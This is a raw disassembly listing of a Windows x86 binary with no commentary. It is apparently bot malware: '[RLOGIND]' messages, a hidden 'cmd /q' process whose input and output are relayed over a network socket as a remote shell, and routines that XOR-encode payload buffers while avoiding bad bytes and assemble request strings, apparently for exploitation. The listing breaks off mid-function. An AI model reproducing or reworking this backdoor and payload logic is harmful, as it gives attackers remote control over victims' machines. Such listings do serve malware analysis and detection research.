		jnz	short loc_412FD0
		push	offset unk_435054
		jmp	short loc_412FD5
; ---------------------------------------------------------------------------


loc_412FD0:				; CODE XREF: sub_412D63+264j
		push	offset unk_435018


loc_412FD5:				; CODE XREF: sub_412D63+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_413005
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_413005:				; CODE XREF: sub_412D63+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401014
		pop	ecx


loc_413012:				; CODE XREF: sub_412D63+206j
					; sub_412D63+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_412F61


loc_41301D:				; CODE XREF: sub_412D63+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_434FD4
		push	eax
		call	sub_416821
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_413048
; ---------------------------------------------------------------------------


loc_413035:				; CODE XREF: sub_412D63+173j
		lea	eax, [ebp+var_220]
		push	offset unk_434C58
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_413048:				; CODE XREF: sub_412D63+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_413066
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_413066:				; CODE XREF: sub_412D63+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401014
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_412D63	endp

; ---------------------------------------------------------------------------
		db 0C5h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41313F	proc near		; CODE XREF: sub_401276j
					; sub_41313F+1Cj
		push	1
		push	0
		push	0
		push	0
		call	sub_401172
		add	esp, 10h
		push	dword_434C08
		call	ds:dword_495324	; Sleep
		jmp	short sub_41313F
sub_41313F	endp

; ---------------------------------------------------------------------------
		db 7 dup(0CCh)
; ---------------------------------------------------------------------------


loc_413164:				; CODE XREF: .text:0040135Cj
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		push	edi
		call	sub_413309
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E92C[edi]
		mov	dword ptr [ebp-0Ch], 0Ch
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_49532C
		pop	ecx
		lea	eax, [ebp+8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41354F
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4131CF
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_4012B2
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_413209
; ---------------------------------------------------------------------------


loc_4131CF:				; CODE XREF: .text:004131B4j
		lea	eax, [ebp+8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41362D
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_413210
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_4012B2
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_4953B4	; TerminateThread


loc_413209:				; CODE XREF: .text:004131CDj
		xor	eax, eax
		jmp	loc_4132B0
; ---------------------------------------------------------------------------


loc_413210:				; CODE XREF: .text:004131E6j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp-18h], eax
		mov	eax, [esi+14h]
		mov	[ebp-14h], eax
		mov	eax, [esi+8]
		mov	[ebp-10h], eax
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		push	3
		call	ds:dword_49540C	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_41326A
		dec	eax
		jz	short loc_413264
		dec	eax
		jz	short loc_413250
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
		call	sub_4012B2
		pop	ecx
		pop	ecx
		jmp	short loc_41327F
; ---------------------------------------------------------------------------


loc_413250:				; CODE XREF: .text:00413239j
		mov	edi, ds:dword_4953B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_41327F
; ---------------------------------------------------------------------------


loc_413264:				; CODE XREF: .text:00413236j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_41326E
; ---------------------------------------------------------------------------


loc_41326A:				; CODE XREF: .text:00413233j
		push	ebx
		push	dword ptr [esi+14h]


loc_41326E:				; CODE XREF: .text:00413268j
		call	ds:dword_4953B4	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_4953F8	; TerminateProcess


loc_41327F:				; CODE XREF: .text:0041324Ej
					; .text:00413262j
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_495358
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4916F4	; closesocket
		push	esi
		call	sub_415D6C
		pop	ecx
		push	1
		pop	eax


loc_4132B0:				; CODE XREF: .text:0041320Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 54h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413309	proc near		; CODE XREF: .text:00413171p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4133F3
		mov	ebx, ds:dword_495410
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_495358
		test	eax, eax
		jnz	short loc_41336C
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_0 ; "[RLOGIND]: Failed to create shell stdou"...
		jmp	short loc_41338C
; ---------------------------------------------------------------------------


loc_41336C:				; CODE XREF: sub_413309+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_413394
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_1 ; "[RLOGIND]: Failed to create shell stdin"...


loc_41338C:				; CODE XREF: sub_413309+61j
		call	sub_4012B2
		pop	ecx
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_413394:				; CODE XREF: sub_413309+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_413440
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4133F7
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell."
		call	sub_401014


loc_4133C2:				; CODE XREF: sub_413309+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4133CE
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_4133CE:				; CODE XREF: sub_413309+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4133D9
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_4133D9:				; CODE XREF: sub_413309+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4133E2
		push	eax
		call	edi	; CloseHandle


loc_4133E2:				; CODE XREF: sub_413309+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4133EC
		push	eax
		call	edi	; CloseHandle


loc_4133EC:				; CODE XREF: sub_413309+DEj
		push	esi
		call	sub_415D6C
		pop	ecx


loc_4133F3:				; CODE XREF: sub_413309+1Dj
		xor	eax, eax
		jmp	short loc_4133FD
; ---------------------------------------------------------------------------


loc_4133F7:				; CODE XREF: sub_413309+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_4133FD:				; CODE XREF: sub_413309+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413309	endp

; ---------------------------------------------------------------------------
		db 3Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413440	proc near		; CODE XREF: sub_413309+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_415CA0
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415CA0
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, ds:dword_4953F4
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_495414	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_495354	; CreateProcessA
		test	eax, eax
		jz	short loc_4134FC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E928[eax], ecx
		call	ds:dword_495358	; CloseHandle
		jmp	short loc_413512
; ---------------------------------------------------------------------------


loc_4134FC:				; CODE XREF: sub_413440+9Aj
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_3 ; "[RLOGIND]: Failed to execute shell, err"...
		call	sub_4012B2
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_413512:				; CODE XREF: sub_413440+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413440	endp

; ---------------------------------------------------------------------------
		db 36h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41354F	proc near		; DATA XREF: .text:004131A3o

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_49538C
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_413578:				; CODE XREF: sub_41354F+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_4135E0
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_4135B3


loc_413589:				; CODE XREF: sub_41354F+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_4135A3
		cmp	dl, 0Dh
		jz	short loc_4135A3
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_4135A3:				; CODE XREF: sub_41354F+44j
					; sub_41354F+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_413589


loc_4135B3:				; CODE XREF: sub_41354F+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4916AC	; send
		test	eax, eax
		jle	short loc_4135E0
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_413578
; ---------------------------------------------------------------------------


loc_4135E0:				; CODE XREF: sub_41354F+2Dj
					; sub_41354F+79j
		mov	esi, ds:dword_495328
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_4135FC
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
		call	sub_4012B2
		pop	ecx
		pop	ecx


loc_4135FC:				; CODE XREF: sub_41354F+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41354F	endp

; ---------------------------------------------------------------------------
		db 2Ch dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41362D	proc near		; DATA XREF: .text:004131D5o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_413646:				; CODE XREF: sub_41362D+39j
					; sub_41362D+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_491674	; recv
		test	eax, eax
		jle	loc_41374B
		cmp	[ebp+var_10], ebx
		jbe	short loc_413668
		dec	[ebp+var_10]
		jmp	short loc_413646
; ---------------------------------------------------------------------------


loc_413668:				; CODE XREF: sub_41362D+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_41372B
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_4136D8
		cmp	al, 7Fh
		jz	short loc_4136D8
		cmp	al, 3
		jnz	short loc_413693
		push	ebx
		push	ebx
		call	ds:dword_495418	; GenerateConsoleCtrlEvent
		jmp	short loc_4136FF
; ---------------------------------------------------------------------------


loc_413693:				; CODE XREF: sub_41362D+5Aj
		cmp	al, 15h
		jnz	short loc_4136B5
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_4136EB
; ---------------------------------------------------------------------------


loc_4136B5:				; CODE XREF: sub_41362D+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_4136EC
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_4136EB
; ---------------------------------------------------------------------------


loc_4136D8:				; CODE XREF: sub_41362D+52j
					; sub_41362D+56j
		cmp	esi, ebx
		jbe	short loc_413702
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_4136EB:				; CODE XREF: sub_41362D+86j
					; sub_41362D+A9j
		pop	ecx


loc_4136EC:				; CODE XREF: sub_41362D+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4916AC	; send
		test	eax, eax
		jle	short loc_41374B


loc_4136FF:				; CODE XREF: sub_41362D+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_413702:				; CODE XREF: sub_41362D+ADj
		cmp	al, 0Dh
		jnz	loc_413646
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_49535C	; WriteFile
		test	eax, eax
		jz	short loc_41374B
		xor	esi, esi
		jmp	loc_413646
; ---------------------------------------------------------------------------


loc_41372B:				; CODE XREF: sub_41362D+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_41373C
		mov	[ebp+var_C], 1
		jmp	loc_413646
; ---------------------------------------------------------------------------


loc_41373C:				; CODE XREF: sub_41362D+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_413646
; ---------------------------------------------------------------------------


loc_41374B:				; CODE XREF: sub_41362D+2Bj
					; sub_41362D+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41362D	endp

; ---------------------------------------------------------------------------
		db 48h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413798	proc near		; CODE XREF: sub_4010BEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4158E0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4158E0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_413798	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137C0	proc near		; CODE XREF: sub_401177j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4010BE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_4137DD
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4137DD:				; CODE XREF: sub_4137C0+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_4158E0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_4158E0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_435448, eax
		lea	eax, [edi+1]
		mov	dword_435469, eax
		lea	eax, [edi+17h]
		mov	dword_435461, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4353E4
		push	ebx
		mov	dword_435477, eax
		call	sub_415960
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_415960
		add	esi, 74h
		push	5
		push	offset aGet_0	; " get	"
		lea	eax, [esi+ebx]
		push	eax
		call	sub_415960
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_415960
		add	esi, edi
		push	10h
		push	43545Dh
		lea	eax, [esi+ebx]
		push	eax
		call	sub_415960
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_415960
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_43546D
		push	esi
		call	sub_415960
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4137C0	endp

; ---------------------------------------------------------------------------
		db 36h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138CE	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4010BE
		push	eax
		call	sub_401186
		add	esp, 0Ch
		retn
sub_4138CE	endp

; ---------------------------------------------------------------------------
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------


loc_4138EA:				; CODE XREF: .text:00401168j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	edi
		mov	edi, [ebp+14h]
		push	edi
		push	ebx
		call	sub_40132A
		cmp	eax, [ebp+0Ch]
		pop	ecx
		pop	ecx
		ja	short loc_41390A
		cmp	eax, 0FFFFh
		jbe	short loc_41390E


loc_41390A:				; CODE XREF: .text:00413901j
		xor	eax, eax
		jmp	short loc_413953
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: .text:00413908j
		push	esi
		push	edi
		push	ebx
		call	sub_4010BE
		add	eax, 101h
		push	eax
		call	sub_415CF8
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4010BE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_401177
		push	eax
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_401235
		push	esi
		mov	edi, eax
		call	sub_415D6C
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_413953:				; CODE XREF: .text:0041390Cj
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413972	proc near		; CODE XREF: sub_401186j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_41397B
		inc	ecx


loc_41397B:				; CODE XREF: sub_413972+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_413972	endp

; ---------------------------------------------------------------------------
		db 6 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413993	proc near		; CODE XREF: sub_401235j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_4139AF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_4139AF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_4139AF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_4139B2


loc_4139AF:				; CODE XREF: sub_413993+8j
					; sub_413993+Ej ...
		inc	[ebp+arg_C]


loc_4139B2:				; CODE XREF: sub_413993+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_4139DA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_4139D3
		cmp	al, 0Dh
		jz	short loc_4139D3
		cmp	al, 5Ch
		jz	short loc_4139D3
		test	al, al
		jnz	short loc_4139DA


loc_4139D3:				; CODE XREF: sub_413993+32j
					; sub_413993+36j ...
		add	[ebp+arg_C], 100h


loc_4139DA:				; CODE XREF: sub_413993+28j
					; sub_413993+3Ej
		push	[ebp+arg_C]
		call	sub_401186
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_4139F2
		cmp	eax, 0FFFFh
		jbe	short loc_4139F9


loc_4139F2:				; CODE XREF: sub_413993+56j
		xor	eax, eax
		jmp	loc_413A97
; ---------------------------------------------------------------------------


loc_4139F9:				; CODE XREF: sub_413993+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_49277C
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_413A29


loc_413A0D:				; CODE XREF: sub_413993+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_413A20
		cmp	al, 0Ah
		jz	short loc_413A20
		cmp	al, 0Dh
		jz	short loc_413A20
		cmp	al, 5Ch
		jnz	short loc_413A24


loc_413A20:				; CODE XREF: sub_413993+7Fj
					; sub_413993+83j ...
		inc	bl
		xor	edx, edx


loc_413A24:				; CODE XREF: sub_413993+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_413A0D


loc_413A29:				; CODE XREF: sub_413993+78j
		cmp	ecx, esi
		mov	byte_49277C, bl
		ja	short loc_413A55
		push	15h
		push	offset dword_4353CC
		push	[ebp+arg_0]
		mov	byte_4353D9, cl
		mov	byte_4353DD, bl
		call	sub_415960
		add	esp, 0Ch
		push	15h
		jmp	short loc_413A76
; ---------------------------------------------------------------------------


loc_413A55:				; CODE XREF: sub_413993+9Ej
		push	17h
		push	offset dword_4353B4
		push	[ebp+arg_0]
		mov	word_4353C2, cx
		mov	byte_4353C7, bl
		call	sub_415960
		add	esp, 0Ch
		push	17h


loc_413A76:				; CODE XREF: sub_413993+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_413A92
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_413A84:				; CODE XREF: sub_413993+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_413A84


loc_413A92:				; CODE XREF: sub_413993+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_413A97:				; CODE XREF: sub_413993+61j
		pop	esi
		leave
		retn
sub_413993	endp

; ---------------------------------------------------------------------------
		db 41h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_4012E9j
		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp-214h]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp-110h]
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		call	sub_401339
		push	eax
		lea	eax, [ebp-414h]
		push	offset dword_4354D8
		push	eax
		call	sub_416821
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp-8], esi
		jnz	short loc_413B58
		push	esi
		lea	eax, [ebp-414h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		push	dword ptr [ebp-214h]
		call	sub_4010D2
		add	esp, 14h


loc_413B58:				; CODE XREF: .text:00413B36j
		lea	eax, [ebp-414h]
		push	eax
		call	sub_401014
		push	dword ptr [ebp-10h]
		call	sub_4012A3
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
; ---------------------------------------------------------------------------
		db 27h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B9E	proc near		; CODE XREF: sub_401064j

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
